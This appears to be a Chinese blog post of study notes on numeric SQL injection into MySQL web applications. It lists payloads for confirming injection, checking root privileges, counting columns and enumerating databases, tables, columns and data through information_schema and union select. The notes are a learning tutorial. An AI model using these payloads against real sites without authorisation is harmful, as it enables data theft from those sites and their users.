天天看點

滲透學習筆記之基于數字型的SQL注入注入流程:

基于數字型的SQL注入

  • 注入流程:
    • 1.判斷SQL注入
    • 2.判斷是否為root權限
    • 3.判斷資料庫的字段數
    • 4.查庫名
    • 5.查表名
    • 6.查字段
    • 7.查資料
    • 參考文獻

注入流程:

1.判斷SQL注入

(1) 在送出的URL後加上單引号’,

(2) and和or大法:and表示且,必須二者皆成立。or相反。

(3) 加法和減法:這目的是區分數字型和字元型的注入。

2.判斷是否為root權限

(1) 目的是判斷是否有root權限:and ord(mid(user(),1,1)) = 114 #114表示的是ascll的r,意即root權限。

(2) and (select count(*) from mysql.user)>0 判斷是否有讀寫權限,當傳回正确頁面時表示有讀寫權限,反之沒有。

3.判斷資料庫的字段數

(1) 常用兩種猜解方法:

聯合查詢 and 1=1 union select 1,2,3,4,5 或者union select null,null,null

order by查詢:order by1,2,3,4當正确時即有多少字段order by查詢:order by1,2,3,4當正确時即有多少字段。

(2) 在該查詢中,一般情況下程式會調用資料庫查詢的第一條語句進行查詢然後傳回。而通過聯合查詢時,要想檢視第二條資料,則可以讓第一條查詢語句始終為假,這裡可以用到and 1=2。反之,則為and 1=1。

(3) limit語句。該語句在mysql中是用來分頁的,通過該語句可以讓我們得到我們想要的資料。

4.查庫名

(1) 首先檢視資料庫的版本:and ord(mid(version(),1,1))>51 #51指的是ascll的3

(2) 确定版本号之後聯合查詢:union select 1,database(),3 limit 1,1 或者union select null,scherma_name,null from information_schema.schemata 想擷取第一個庫名則在後面加上limit 0,1 若發現沒有顯示,則在第一條語句上加上:and 1=2,讓第一條語句始終為假,即可檢視第一個庫名,依次類推可得到第二個庫名,第三個庫名,等等。。。

5.查表名

(1)一般而言,表名存放在資料庫information_schema下的tables表中的table_name字段中,查表名主要用到的就是tables表。

(2)使用group_concat():例如在URL後加上union select null,group_concat(table_name),null from information_schema.tables where table_schema = ‘庫名一’ 。或者在URL後面加上union select null,table_name,null from information_schema.tables where table_schema = ‘庫名一’(這種方法比較好記憶)。

6.查字段

(1)在mysql中,字段名一般存放在information_schema資料庫下的column_name字段中。

(2)查詢方法:union select null,group_concat(column_name),null from information_schema.columns where table_schema = ‘庫名一’ and table_name=‘表名’。或者union select null,column_name,null from information_schema.columns where table_schema = ‘庫名一’ and table_name=‘表名’

7.查資料

得到庫名,表名,字段名後想要擷取資料的值就友善了。

(1)在URL後加上union select null,group_concat(字段名),null from 表名。或者union select 字段名 from 表名

參考文獻

https://www.bugbank.cn/q/article/5983ea82cbb936102d3977bb.html

繼續閱讀